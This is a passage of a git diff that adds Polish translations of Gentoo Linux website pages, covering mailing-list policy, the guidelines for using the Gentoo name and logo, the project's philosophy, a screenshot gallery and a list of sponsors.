+<pre caption="Przykładowa reguła procmail">
+:0:
+* ^List-Id:.*listname\.gentoo\.org
+Mail/listname
+</pre>
+
+<p>
+W ten sam sposób można filtrować wiadomości przychodzące od programu
+<e>Mailman</e>.
+</p>
+
+<p>
+<b>Polityka list</b>
+</p>
+
+<p>
+Emaile HTML nie są zalecaną formą, jednak nie są całkowicie zabronione (w
+przypadku niektórych klientów poczty, ciężko jest wymusić całkowite wyłączenie
+HTML-a). Należy mieć na uwadze, że część użytkowników może mieć wyłączone
+przyjmowanie wiadomości email, co wygląda tak jakbyśmy byli ignorowani,
+szczególnie w przypadku wysyłania jedynie wiadomości w HTML. Powinniśmy starać
+się wysyłać wiadomości w następującej kolejności: czysty tekst, wieloczęściowy
+z czystym tekstem przed html, html. Rozszerzenie MIME są akceptowalne i
+powszechnie używane.
+</p>
+
+<p>
+Prosimy o niewysyłanie zbędnych wiadomości na listę. Aby zmniejszyć liczbę
+spamu, jeśli tylko wyślemy automatyczną odpowiedź na listę, zostaniemy wypisani
+z WSZYSTKICH list na jakich jesteśmy zapisani. Wszystkie pozostałe adresy,
+które byłe zapisane wysyłające wiadomości serwera pocztowego również zostaną
+usunięte.
+</p>
+
+</body>
+</section>
+</chapter>
+</mainpage>
diff --git a/xml/htdocs/main/pl/name-logo.xml b/xml/htdocs/main/pl/name-logo.xml
new file mode 100644
index 00000000..37ee0db4
--- /dev/null
+++ b/xml/htdocs/main/pl/name-logo.xml
@@ -0,0 +1,277 @@
+<?xml version="1.0" encoding="UTF-8"?>
+
+<!-- Orig revision: 1.7 -->
+<!-- Translator: Andrzej Krentosz <endrjux@gmail.com> -->
+<!-- Status: Finished -->
+
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/main/pl/name-logo.xml,v 1.2 2008/01/19 02:24:13 rane Exp $ -->
+
+<guide link="/main/pl/name-logo.xml" lang="pl">
+<title>Wytyczne dotyczące używania nazwy i logo Gentoo</title>
+
+<author>
+  The Gentoo Foundation
+</author>
+
+<abstract>
+Niniejszy dokument opisuje zasady korzystania z nazwy i logo Gentoo.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.8</version>
+<date>2005-12-11</date>
+
+<chapter>
+<title>Wstęp</title>
+<section>
+<body>
+
+<p>
+Dokument ten opisuje właściwe korzystanie z nazwy i logo "g" Gentoo, oraz każdej
+innej związanej z nim marki, dla oprogramowania i projektów związanych z
+komputerami, które nie są, kierowane przez Gentoo Foundation, Inc. Pytania
+dotyczące tych wytycznych prosimy kierować do <mail
+link="trustees@gentoo.org">Gentoo Foundation, Inc.</mail>
+</p>
+
+<p>
+Gentoo Foundation, Inc. rezerwuje prawo do zmiany tych praw od czasu do czasu,
+według własnego uznania. Z tego powodu namawiamy do przeglądania tego dokumentu
+co pewien czas.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Definicje</title>
+<section>
+<title>Projekt Gentoo (Gentoo project)</title>
+<body>
+
+<p>
+Grupa ochotników kierowanych obecnie przez Gentoo Foundation Inc., orgranizację
+nienastawioną na zysk.
+</p>
+
+</body>
+</section>
+<section>
+<title>Treści stworzone przez Projekt Gentoo</title>
+<body>
+
+<p>
+Każda treść, do której prawa autorskie posiada Gentoo Foundation, Inc.
+</p>
+
+</body>
+</section>
+<section>
+<title>Logo "G"</title>
+<body>
+
+<fig link="/images/glogo-small.png"/>
+
+</body>
+</section>
+<section>
+<title>Grafika Gentoo</title>
+<body>
+
+<p>
+Grafika stworzona przez <e>Projekt Gentoo</e> (patrz powyższa definicja).
+</p>
+
+</body>
+</section>
+<section>
+<title>Strona społeczności Gentoo</title>
+<body>
+
+<p>
+Strona pozbawiona treści zarobkowych, której pierwszorzędnym celem jest
+zapewnienie każdemu użytkownikowi dodatkowych informacji o Gentoo oraz sprawach
+związanych z Gentoo.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Właściciele mark</title>
+<section>
+<body>
+
+<p>
+Nazwa "Gentoo" oraz logo "G" są obecnie zastrzeżonymi znakami towarowymi Gentoo
+Foundation, Inc.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Używanie nazwy Gentoo</title>
+<section>
+<body>
+
+<p>
+Pozwala się na używanie nazwy Gentoo w treściach związanych z komputerami.
+Należy jednak:
+</p>
+
+<ol>
+  <li>
+    Zdawać sobie sprawę, że nazwa "Gentoo" jest znakiem towarowym Gentoo
+    Foundation, Inc.
+  </li>
+  <li>
+    Nie nadawać nazwy "Gentoo" żadnemu oprogramowaniu lub produktom związanym z
+    komputerami i nie używać słowa "Gentoo" jako części nazwy
+  </li>
+  <li>
+    Pamiętać, że pełna nazwa domeny dla oprogramowania lub produktu związanego z
+    komputerami nie może zawierać słowa "Gentoo"
+  </li>
+  <li>
+    <e>
+      Oświadczyć, że treść, projekt, strona, produkt lub jakikolwiek inny
+      element z jakim związana jest nazwa "Gentoo", nie jest częścią Projektu
+      Gentoo i nie jest kierowany lub zarządzany przez Gentoo Foundation, Inc.
+    </e>
+  </li>
+</ol>
+
+<p>
+Powyższe ograniczenia nie odnoszą się do projektu <uri
+link="http://www.obsession.se/gentoo/">Menedżera plików o nazwie Gentoo</uri>,
+rozwijanego przez Emila Binka, ponieważ nie jest to projekt systemu
+operacyjnego.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Używanie logo i grafiki Gentoo</title>
+<section>
+<body>
+
+<p>
+Pozwala się na używanie logo "G" oraz grafiki Gentoo, do których prawa autorskie
+posiada Gentoo Foundation, Inc. (dalej nazywaną "grafiką Gentoo"), pod
+poniższymi warunkami:
+</p>
+
+</body>
+</section>
+<section>
+<title>Używanie komercyjne</title>
+<body>
+
+<p>
+Komercyjne używanie loga "G" oraz grafiki Gentoo jest dozwolone dla <e>każdego
+oprogramowania i sprzętu komputerowego</e>, który <e>zawiera</e> lub jest
+<e>oparty na</e> zawartości stworzonej przez Projekt Gentoo lub każdy inny
+projekt, który wykorzystuje Gentoo lub Projekt Gentoo. Należy jednak:
+</p>
+
+<ol>
+  <li>
+    Zdawać sobie sprawę, że logo "G" jest znakiem towarowym Gentoo Foundation,
+    Inc., oraz prawa autorskie do grafiki Gentoo posiada Gentoo Foundation, Inc.
+  </li>
+  <li>
+    Użyta grafika <e>nie</e> jest podstawowym (największym) obrazem marki,
+    użytym na produkcie, aby pokazać, że produkt zawiera "zawartość stworzoną
+    przez Projekt Gentoo", ale <e>nie jest produktem sprzedawanym lub
+    wspieranym</e> przez Gentoo Foundation, Inc.
+  </li>
+</ol>
+
+<p>
+Komercyjne użycie logo "G" oraz grafiki Gentoo w jakimkolwiek innym celu jest
+zabronione.
+</p>
+
+</body>
+</section>
+<section>
+<title>Używanie niekomercyjne</title>
+<body>
+
+<p>
+Niekomercyjne używanie logo "G" oraz grafiki Gentoo jest dozwolone. Należy
+jednak:
+</p>
+
+<ol>
+  <li>
+    Zdawać sobie sprawę, że logo "G" jest znakiem towarowym Gentoo Foundation,
+    Inc., oraz prawa autorskie do grafiki Gentoo posiada Gentoo Foundation, Inc.
+  </li>
+  <li>
+    Logo "G" oraz grafika Gentoo jest używana w zawartości odnoszącej się do
+    "Projektu Gentoo", kierowanego przez Gentoo Foundation, Inc. i nie używa się
+    jej w projektach poza lub ponad odpowiedzialnością Gentoo Foundation, Inc.
+  </li>
+  <li>
+    <e>
+      Oświadczyć, że treść, projekt, strona, produkt lub jakikolwiek inny
+      element z jakim związane jest logo "g" lub grafika Gentoo, nie jest
+      częścią Projektu Gentoo i nie jest kierowany lub zarządzany przez Gentoo
+      Foundation, Inc.
+    </e>
+  </li>
+</ol>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Projekty społeczności Gentoo</title>
+<section>
+<body>
+
+<p>
+Gentoo Foundation, Inc. udziela, jak wspomniano wyżej, stronom społeczności
+Gentoo prawa do używania nazwy Gentoo w projektach i nazwach domen. Należy
+jednak:
+</p>
+
+<ol>
+  <li>
+    Zadbać, aby strona internetowa, na każdej podstronie zawierała oświadczenie,
+    że projekt nie jest oficjalnym projektem Gentoo i nazwać ją "nową stroną",
+    "stroną fanów", "nieoficjalną stroną" lub "stroną społeczności",
+  </li>
+  <li>
+    Zadbać, aby strona nie naśladowała wyglądu którejś z oficjalnych stron
+    Gentoo
+  </li>
+  <li>
+    Zdawać sobie sprawę, że nazwa "Gentoo" jest znakiem towarowym Gentoo
+    Foundation, Inc.
+  </li>
+</ol>
+
+<p>
+Każde inne użycie nazwy, logo lub grafiki Gentoo jest ograniczane przez
+powyższe wytyczne.
+</p>
+
+</body>
+</section>
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/main/pl/philosophy.xml b/xml/htdocs/main/pl/philosophy.xml
new file mode 100644
index 00000000..518ce6d6
--- /dev/null
+++ b/xml/htdocs/main/pl/philosophy.xml
@@ -0,0 +1,70 @@
+<?xml version='1.0' encoding='utf-8'?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/main/pl/philosophy.xml,v 1.4 2007/03/16 10:40:44 neysx Exp $-->
+<!DOCTYPE mainpage SYSTEM "/dtd/guide.dtd">
+
+<mainpage lang="pl">
+<title>Filozofia Gentoo</title>
+
+<author title="Autor">
+  <mail link="drobbins@gentoo.org">Daniel Robbins</mail>
+</author>
+<author title="Redaktor">
+  <mail link="curtis119@gentoo.org">Curtis Napier</mail>
+</author>
+<author title="Tłumaczenie">
+  <mail link="rane@gentoo.org">Łukasz Damentko</mail>
+</author>
+
+<abstract>
+Filozofia powstania i rozwoju Gentoo.
+</abstract>
+
+<license/>
+
+<version>1.3</version>
+<date>2006-04-30</date>
+
+<chapter>
+<title>Filozofia Gentoo</title>
+<section>
+<body>
+
+<p>
+Każdy użytkownik ma do wykonania określone zadania. Celem Gentoo jest
+stworzenie narzędzi i systemów, które pozwolą mu wykonać tę pracę w
+komfortowych warunkach i możliwie wydajnie. Nasze oprogramowanie musi być
+przyjemne w pracy i ma pomagać użytkownikom w docenieniu bogactwa zasobów
+Linuksa i ogólnie wolnego oprogramowania. Dokonanie tego jest możliwe tylko
+wtedy, gdy narzędzia projektuje się tak, aby spełniały wszystkie życzenia
+użytkowników, przedstawiając im cały wachlarz możliwości rozwiązania ich
+problemów. Gdy narzędzie wymusza na użytkowniku określone zachowanie, wtedy
+jest narzędziem, które przeszkadza mu w pracy zamiast w niej pomagać. Wszyscy
+znamy przykłady narzędzi, które podejmują decyzje w imieniu użytkowników. Są
+one przeciwieństwem filozofii Gentoo.
+</p>
+
+<p>
+Filozofia Gentoo opiera się zatem na projektowaniu lepszych narzędzi. Kiedy
+narzędzie doskonale spełnia zadania przed nim stawiane, można nawet nie
+zauważać jego obecności, ponieważ nie zmusza ono do po żadnego wysiłku, po
+prostu spełniając wszystkie życzenia użytkownika. Narzędzie służy wtedy
+użytkownikowi, nie na odwrót.
+</p>
+
+<p>
+Przyszłość Gentoo to dążenie do tworzenia niemal idealnych narzędzi. Narzędzi,
+które zaspokoją potrzeby wielu różnych użytkowników  w sposób prosty, ale
+bardzo kompleksowy. To wspaniałe uczucie, gdy znajduje się program, który
+potrafi po prostu spełnić zadania, jakie się przed nim stawia.  Naszą misją
+jest tworzenie właśnie takich programów.
+</p>
+
+<p>
+Daniel Robbins<br/>
+dawny Główny Architekt Gentoo.
+</p>
+
+</body>
+</section>
+</chapter>
+</mainpage>
diff --git a/xml/htdocs/main/pl/shots.xml b/xml/htdocs/main/pl/shots.xml
new file mode 100644
index 00000000..0e85c317
--- /dev/null
+++ b/xml/htdocs/main/pl/shots.xml
@@ -0,0 +1,216 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "http://www.gentoo.org/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/main/pl/shots.xml,v 1.7 2008/12/26 12:27:49 shadow Exp $ -->
+
+<guide lang="pl">
+<title>Zrzuty ekranu Gentoo Linux</title>
+
+<author title="Dawny Główny Architekt">
+  <mail link="drobbins"/>
+</author>
+<author title="Autor">
+  <mail link="swift"/>
+</author>
+<author title="Autor">Sergey Kuleshov</author>
+<author title="Tłumaczenie">
+  <mail link="stawrul@gmail.com">Waldemar Korłub</mail>
+</author>
+
+<abstract>Zrzuty ekranowe z Gentoo Linux w akcji</abstract>
+
+<license/>
+
+<version>1.5</version>
+<date>2007-09-07</date>
+
+<chapter>
+<title>Oto i one... kliknij na obrazek, aby powiększyć!</title>
+
+<section>
+<title>Zastrzeżenie</title>
+<body>
+
+<p>
+Zrzuty ekranowe na tej stronie są dostarczane przez różnych użytkowników Gentoo.
+Informacje o użytych tematach, tapetach itp. nie są u nas dostępne. Aby uzyskać
+więcej informacji, należy skontaktować się z autorem zrzutu ekranowego (jeśli
+można go odnaleźć).
+</p>
+
+<p>
+Można szukać autora na naszym kanale #gentoo w sieci irc.freenode.net lub
+poprzez <uri link="http://forums.gentoo.org">forum gentoo</uri>.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>(Niemal) standardowy GNOME</title>
+<body>
+
+<p>
+Zrzut wykonany przez Bartka jest jednym ze zwyciezców Konkursu Zrzutów Gentoo.
+Bartek osiągnął poniższy efekt łącząc iluzję trójwymiarowej tapety z odpowiednim
+układem ładnych ikon. Jest to dobry przykład na to, jak domyślny temat graficzny
+może zostać wykorzystany do stworzenia pięknego zrzutu
+ekranowego.
+</p>
+
+<fig link="/images/shots/gnome-small.png" linkto="/images/shots/gnome.png" />
+
+</body>
+</section>
+
+<section>
+<title>Elegancki czarny menedżer okien</title>
+<body>
+
+<p>
+Drugim zwycięzcą Konkursu jest Mikołaj aka mklimek, który jak dotąd korzysta ze
+środowiska KDE i nie zamierza tego zmieniać. Na jego ekskluzywnym zrzucie
+widzimi pewne narzędzia pochodzące z KDE oraz ikony, których wygląd kojarzyć się
+może raczej ze środowiskiem GNOME.
+</p>
+
+<fig link="/images/shots/rash-small.png" linkto="/images/shots/rash.png" />
+
+</body>
+</section>
+
+<section>
+<title>Kosmiczna podróż</title>
+<body>
+
+<p>
+Zrzut wykonany przez Roberta stanowi demonstrację niesamowitego wykorzystania
+odcieni koloru niebieskiego. Wyłączając program cairo-clock, Robert w swoim
+środowisku KDE wykorzystuje (jak możemy zauważyć) wyłącznie aplikacje oparte o
+QT, jak Kopete, Konsole, czy amaroK. Robert dba także o wygląd programu irssi,
+jego temat kolorów jest zdominowany przez odcienie zieleni.
+</p>
+
+<fig link="/images/shots/sshotpw4-small.png" linkto="/images/shots/sshotpw4.png"/>
+
+</body>
+</section>
+
+<section>
+<title>Jeszcze bardziej gentoonerskie środowisko</title>
+<body>
+
+<p>
+Poniżej znajduje się prawdopodobnie najbardziej "gentoonerski" zrzut jaki
+kiedykolwiek został tu opublikowany. Aleksander korzysta ze śwodowiska GNOME,
+które nie tylko ładnie wygląda lecz także pasuje do stacji roboczej Gentoo.
+</p>
+
+<fig link="/images/shots/Bildschirmfoto-small.png"
+linkto="/images/shots/Bildschirmfoto.png" />
+
+</body>
+</section>
+
+<section>
+<title>Zemerguj to!</title>
+<body>
+
+<p>
+Jak możemy zauważyć Massimiliano ma zamiar zainstalować program
+media-video/dvdauthor w swoim systemie ze środowiskiem KDE.
+</p>
+
+<fig link="/images/shots/darkgentoo2sf2-small.png"
+linkto="/images/shots/darkgentoo2sf2.png" />
+
+</body>
+</section>
+
+<section>
+<title>Piękno minimalizmu</title>
+<body>
+
+<p>
+Kolejny ładny zrzut pochodzący od Bartka. Widzimy tutaj menedżera okien fluxbox
+ze stylem Bartka "dark theme", cokolwiek ta nazwa miałaby oznaczać. Ukryte
+piękno tego zrzutu ekranowego tkwi w połączeniu tematu graficznego programu
+audacious z tematem fluxboksa i tapetą.
+</p>
+
+<fig link="/images/shots/fluxbox-small.jpg" linkto="/images/shots/fluxbox.jpg"
+/>
+
+</body>
+</section>
+
+<section>
+<title>To co domyślne też może być piękne</title>
+<body>
+
+<p>
+Człowiek, którego znamy jako Purple (nie wiemy czy jest to jego pseudonim, czy
+też prawdziwe imię), przysłał zrzut prezentujące środowisko KDE z uruchomionym
+emulatorem terminala yakuake w czasie synchronizacji drzewa Portage i programem
+conky. To wszystko skomponowane z przyzwoitą tapetą czyni zrzut nieprzeciętnym.
+</p>
+
+<fig link="/images/shots/snapshotzi4-small.png"
+linkto="/images/shots/snapshotzi4.png" />
+
+</body>
+</section>
+
+<section>
+<title>Darkclown Coronado</title>
+<body>
+
+<p>
+Darkclown (nie pytajcie) nadesłał swój zrzut prezentujący inspirowane Vistą
+ikony wykonane przez sakiego i tapetę z kołami zębatymi, którą stworzył
+ChristianNickel. Darkclown korzysta ze środowiska KDE z tematem Plastik i stylem
+keramik. Widzimy także wtyczki do programu karamba: liquid, weather i cynapses
+aero.
+</p>
+
+<fig link="/images/shots/desktop-rehcmx-small.jpg"
+linkto="/images/shots/desktop-rehcmx.jpg" />
+
+</body>
+</section>
+
+<section>
+<title>Scott S Short</title>
+<body>
+
+<p>
+Scott w swoim systemie korzysta z kernela 2.6.14-gentoo-r2 oraz środowiska Gnome
+2.12 z tematem graficznym Milk 2.0. Wszystkie ikony zostały zaczerpnięte ze
+strony internetowej Gentoo.
+</p>
+
+<fig link="/images/shots/desktop-scottsshort-small.png"
+linkto="/images/shots/desktop-scottsshort.png" />
+
+</body>
+</section>
+
+<section>
+<title>Richard Head</title>
+<body>
+
+<p>
+Richard jest jednym z wielu użytkowników Gentoo, którry są pod wrażeniem
+elastyczności tego systemu. Określa on swój zrzut ekranowy jako "całkiem
+fajny". Widzimy na nim odtwarzacz mp3, informacje o systemie, przezroczyste
+terminale i menu oraz wynik skanowania portów wyświetlany przez program
+root-tail.
+</p>
+
+<fig link="/images/shots/desktop-cadaver138-small.png"
+linkto="/images/shots/desktop-cadaver138.png" />
+
+</body>
+</section>
+
+</chapter>
+</guide>
diff --git a/xml/htdocs/main/pl/sponsors.xml b/xml/htdocs/main/pl/sponsors.xml
new file mode 100644
index 00000000..18e8957b
--- /dev/null
+++ b/xml/htdocs/main/pl/sponsors.xml
@@ -0,0 +1,412 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE mainpage SYSTEM "/dtd/guide.dtd">
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/main/pl/sponsors.xml,v 1.7 2009/04/07 19:39:31 shadow Exp $ -->
+
+<mainpage lang="pl">
+<title>Sponsorzy Gentoo Linux</title>
+
+<author title="Autor">
+  <mail link="klieber@gentoo.org">Kurt Lieber</mail>
+</author>
+<author title="Autor">
+  <mail link="swift@gentoo.org">Sven Vermeulen</mail>
+</author>
+<author title="Autor">
+  <mail link="robbat2@gentoo.org">Robin H. Johnson</mail>
+</author>
+<author title="Redaktor">
+  <mail link="curtis119@gentoo.org">Curtis Napier</mail>
+</author>
+<author title="Tłumaczenie">
+  <mail link="johny_quest@poczta.onet.pl">Tomasz Gawęda</mail>
+</author>
+
+<abstract>
+Sponsorzy Gentoo.
+</abstract>
+
+<license/>
+<version>1.19</version>
+<date>2009-04-02</date>
+
+<chapter>
+<title>Sponsorzy Gentoo</title>
+<section>
+<body>
+
+<p>
+Fundacja Gentoo pragnie podziękować następującym firmom i organizacjom, które
+wspierają jej rozwój swoimi usługami oraz wyposażeniem, i pozwalają rozwijać
+system operacyjny Gentoo Linux. Bez ich pomocy, nie bylibyśmy w stanie stworzyć
+Gentoo, dziękujemy.
+</p>
+
+</body>
+</section>
+<section>
+<title>Oregon State University</title>
+<body>
+
+<!-- We want the two images to be adjacent, not stacked, but I can't get the
+docs to do that! Help welcome. -->
+<fig link="/images/sponsors/osu-logo.png" linkto="http://oregonstate.edu"
+short="Oregon State University"/>
+<fig link="/images/sponsors/osuosl-logo.png" linkto="http://osuosl.org"
+short="OSU Open Source Lab"/>
+
+<p>
+<uri link="http://oregonstate.edu">Oregon State University</uri> znajduje się w
+pięknym mieście Corvallis w stanie Oregon. <uri
+link="http://osuosl.org">Laboratorium Open Source</uri> jest lokalnym ośrodkiem
+rozwijania i udostępniania usług dla społeczności Open Source.
+</p>
+
+<p>
+Oregon State University dostarcza wielu usług dla Gentoo. Nasz główny serwer
+korzysta z łącz i serwerów Uniwersytetu na których są zamieszczane wydania
+Gentoo.
+</p>
+
+</body>
+</section>
+<section>
+<title>Indiana University</title>
+<body>
+
+<fig link="/images/sponsors/iu-logo.jpg" linkto="http://www.iu.edu"
+     short="Indiana University"/>
+
+<p>
+Indiana University powstał w 1820 roku w mieście Bloomington.  Od tamtego czasu
+Uniwersytet został bardzo rozwinięty, posiada osiem kampusów w całej Indianie,
+rekrutuje co roku 100,000 studentów i wykształcił już ponad 460,000
+absolwentów.  Indiana University oferuje 116 akademików które znajdują się w
+rankingu 20 najlepszych w kraju.
+</p>
+
+<p>
+Indiana University zapewnia zaplecze techniczne w postaci serwerów, a także
+udostępnia łącza dla serwerów lustrzanych portage.
+</p>
+
+</body>
+</section>
+<section>
+<title>NVIDIA</title>
+<body>
+
+<fig link="/images/sponsors/nvidia-logo.gif" linkto="http://www.nvidia.com"
+     short="NVIDIA"/>
+
+<p>
+Korporacja NVIDIA (notowana w indeksie Nasdaq jako: NVDA) jest rynkowym liderem
+w produkcji kart graficznych. Produkuje sprzęt do profesjonalnych zastosowań,
+stacji roboczych, komputerów domowych, laptopów i palmtopów.  Jej procesory
+graficzne i komunikacyjne posiadają duży rynek odbiorców i są wytwarzane dla
+wielu platform, włączając w to komputery PC, profesjonalne stacje graficzne,
+systemy cyfrowego zarządzania treścią, systemy wojskowej nawigacji oraz konsole
+do gier.
+</p>
+
+<p>
+NVIDIA dostarcza Fundacji Gentoo licznych komputerów rozwojowych AMD i kart
+graficznych by wspomóc rozwój Gentoo na platformach Athlon XP i Athlon64.
+</p>
+
+</body>
+</section>
+<section>
+<title>UltraDNS</title>
+<body>
+
+<fig link="/images/sponsors/ultradns-logo.jpg" linkto="http://www.ultradns.com"
+     short="UltraDNS"/>
+
+<p>
+UltraDNS dostarcza zaawansowane, inteligentne i skalowalne usługi, które
+znacząco zwiększają wydajność i niezawodność krytycznych aplikacji sieciowych
+wymieniających dane.
+</p>
+
+<p>
+UltraDNS dostarcza usługi DNS dla Fundacji Gentoo, włączając w to zaawansowane
+funkcje takie jak: <uri
+link="http://www.ultradns.com/services/directional_dns.cfm">Directional
+DNS</uri>, który służy do zapewnienia równomiernego obciążenia usługi DNS dla
+naszej puli serwerów rsync.gentoo.org i <uri
+link="http://www.ultradns.com/services/sitebacker.cfm">SiteBacker</uri>
+zapewniający monitorowanie ich stanu.
+</p>
+
+</body>
+</section>
+<section>
+<title>Global Netoptex, Inc.</title>
+<body>
+
+<fig link="/images/sponsors/gni_logo.png" linkto="http://www.netoptex.com"
+     short="Global Netoptex, Inc."/>
+
+<p>
+GNi jest przodującym dostawcą usług zarządzanych przez klienta, które rozwijają
+infrastrukturę informatyczną oraz znacząco redukują koszty utrzymania. Firma
+zapewnia ekspertów, zasoby i rozwiązania by sprostać indywidualnym wymaganiom
+klienta.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Bytemark Hosting</title>
+<body>
+
+<fig link="/images/sponsors/bytemark_logo.png" linkto="http://www.bytemark.co.uk/r/gentoo-sponsors" short="Bytemark Hosting"/>
+
+<p>
+Bytemark Hosting dostarcza nam serwery oraz usługi, które potrzebne są do
+prowadzenia sieci serwerów lustrzanych. Firma ta jest głównym graczem na rynku
+firm dostarczających usług internetowe (ISP) w Wielkiej Brytanii oraz dostarcza
+potężnych, skalowalnych i dostępnych usług hostingowych z mnóstwem dodatków dla
+zaawansowanych użytkowników jako standard. Używają Gentoo Linux w swojej sieci,
+aby dostarczyć elastyczne rozwiązania dla trudnych problemów, takich jak
+przygotowanie środowiska awaryjnego dla dedykowanych hostów.
+</p>
+
+</body>
+</section>
+<section>
+<title>Hyves.net</title>
+<body>
+
+<fig link="/images/sponsors/hyves-logo.png" linkto="http://www.hyves.net/" short="Hyves.net" />
+
+<p>
+Hyves dostarcza dla Gentoo Linux serwery oraz usługi hostingowe dla serwera
+Bugzilli. Jest to europejska sieć społecznościowa, która posiada ponad <uri
+link="http://www.gentoo.org/news/en/gmn/20080424-newsletter.xml#doc_chap3">1800
+serwerów z zainstalowanym systemem Gentoo</uri>.
+</p>
+
+</body>
+</section>
+<section>
+<title>SevenL Networks</title>
+<body>
+
+<fig link="/images/sponsors/sevenl_logo.png" linkto="http://www.sevenl.net/"
+short="SevenL.net" />
+
+<p>
+Firma SevenL Networks Inc. jest światowym liderem dostarczającym takie usługi
+jak zarządzalny hosting, serwery dedykowane, VPS czy rozwiązania do centr
+danych. SevenL sponsoruje <uri
+link="http://www.sevenl.net/marketing/?menu=dedicated_servers">serwery
+dedykowane</uri> dla Gentoo Linux od roku 2004. Dodatkowo sponsorują oni
+również serwery dedykowane dla CentOS, Linux Mint, Arch Linux oraz dla kilku
+innych projektów ruchu open source, dla których tego typu wsparcie jest
+niezbędne do odniesienia sukcesu.
+</p>
+
+</body>
+</section>
+<section>
+<title>Online Kredit Index</title>
+<body>
+
+<fig link="/images/sponsors/online-kredit-index.jpg" linkto="http://www.online-kredit-index.de/" short="Online Kredit Index" />
+
+<p>
+<uri link="http://www.online-kredit-index.de/">Online Kredit Index</uri> jest
+firmą dostarczającą rozwiązanie finansowe na terenie Niemiec. Postępując
+zgodnie z własnym sercem i osobistym kredo pracują w pocie czoła zabezpieczając
+wolność projektów Open Source dla wszystkich użytkowników. Firma ta docenia
+wartość Gentoo i rozumie potrzebę wspierania zarówno deweloperów jak i
+infrastruktury.
+</p>
+
+</body>
+</section>
+<section>
+<title>WebHosting.UK.com</title>
+<body>
+
+<fig link="/images/sponsors/web-hosting-uk.jpg" linkto="http://www.webhosting.uk.com/" short="WebHosting.UK.com" />
+
+<p>
+Założona w 2001 WebHosting UK oferuje tanie i dostępne serwery dedykowane
+Gentoo Linux w Wielkiej Brytanii. Webhosting UK dostarcza również w pełni
+zarządzalne usługi hostingu współdzielonego, konta typu reseller, półdedykowane
+serwer oraz Wirtualne Prywatne Serwer ze wszystkimi ważnymi dodatkami takimi
+jak pomoc techniczna 24x7x365 oraz z gwarantowanym czasem uptime na poziomie
+99,95% jako standard.
+</p>
+
+</body>
+</section>
+<section>
+<title>Genesi</title>
+<body>
+
+<fig link="/images/sponsors/genesi_logo.gif" linkto="http://www.genesi.lu/"
+     short="Genesi"/>
+
+<p>
+Genesi jest głównym dostawcą produktów bazujących na architekturze Freescale i
+IBM PowerPC.  <uri link="http://www.pegasosppc.com"> komputer PegasosPPC
+MicroATX</uri> został zaprojektowany by elastyczność i skuteczność PowerPC
+przenieść do komputerów biurowych oraz na low-endowe serwery i rozszerzający
+się rynek tanich komputerów.  Początkowo Open Desktop Workstation będzie
+rozpowszechniany z preinstalowanym systemem Gentoo Linux w wersji 2004.3.
+</p>
+
+<p>
+<uri link="http://www.genesi.lu">Genesi</uri> dostarczył wiele bazujących na
+procesorze PowerPC komputerów <uri
+link="http://www.pegasosppc.com/odw.php">Open Desktop Workstations</uri> dla
+Fundacji Gentoo. By poznać szczegóły związane z firmą Genesi oraz jej wsparciem
+dla ruchu Open Source proszę odwiedzić: <uri
+link="http://www.ppczone.org">www.PPCZone.org</uri>
+</p>
+
+</body>
+</section>
+<section>
+<title>DataRescue</title>
+<body>
+
+<fig link="/images/sponsors/datarescue-logo.gif"
+     linkto="http://www.datarescue.com" short="DataRescue logo"/>
+
+<p>
+DataRescue jest twórcą programu: IDA Pro Disassembler &amp; Debugger, które są
+niezbędnymi narzędziami do odnajdywania błędów bezpieczeństwa w aplikacjach,
+oraz niebezpiecznych części kodu.  Firma DataRescue korzysta z systemu Gentoo
+Linux w swoich serwerach zewnętrznych oraz w głównym serwerze wewnętrznym.
+</p>
+
+<p>
+DataRescue przekazała oprogramowanie dla Gentoo Audit Team.
+</p>
+
+</body>
+</section>
+<section>
+<title>University of Virginia</title>
+<body>
+
+<fig link="/images/sponsors/virginia-logo.gif" linkto="http://www.virginia.edu"
+     short="University of Viriginia Logo"/>
+
+<p>
+University of Virginia posiada komputery o architekturze Alpha.  Udostępinł je
+dla programistów Gentoo/Alpha by mogli tworzyć nowe wydania Gentoo oraz
+poprawiać już istniejące. Do zadań, które są wykonywane na tych komputerach
+należy: testowanie słów kluczowych i odnajdywanie luk bezpieczeństwa.
+</p>
+
+</body>
+</section>
+<section>
+<title>HP</title>
+<body>
+
+<fig link="/images/sponsors/hp-logo.jpg" linkto="http://opensource.hp.com"
+     short="HP OpenSource Logo"/>
+
+<p>
+HP jest dystrybutorem technologii komputerowych dla klientów indywidualnych,
+małego biznesu i międzynarodowych przedsiębiorstw. HP posiada ponad 200
+produktów, które oferuje z otwartym kodem źródłowym. Firma codziennie wnosi swój
+wkład w setki projektów open source, poczynając od komputerów klienckich, a na
+centrach przetwarzania danych kończąc. Aby uzyskać więcej informacji o
+zaangażowaniu HP w rozwój open source, polecamy zajrzeć na: <uri
+link="http://opensource.hp.com/">http://opensource.hp.com/</uri>
+</p>
+
+<p>
+HP dostarcza fundacji Gentoo środków oraz użycza komputerów opartych na
+procesorach Alpha i IA64.
+</p>
+
+</body>
+</section>
+<section>
+<title>Wydział Fizyki - Uniwerstytet w Trieście</title>
+<body>
+
+<fig link="/images/sponsors/units_logo.png" linkto="http://physics.units.it"
+     short="Department of Physics - University of Trieste"/>
+
+<p>
+Wydział Fizyki Uniwersytetu w Trieście dostarcza nam wielu usług związanych z
+infrastrukturą. Na przykład to tam znajdują się serwery naszych list
+mailingowych od kilku już lat.
+</p>
+
+</body>
+</section>
+<section>
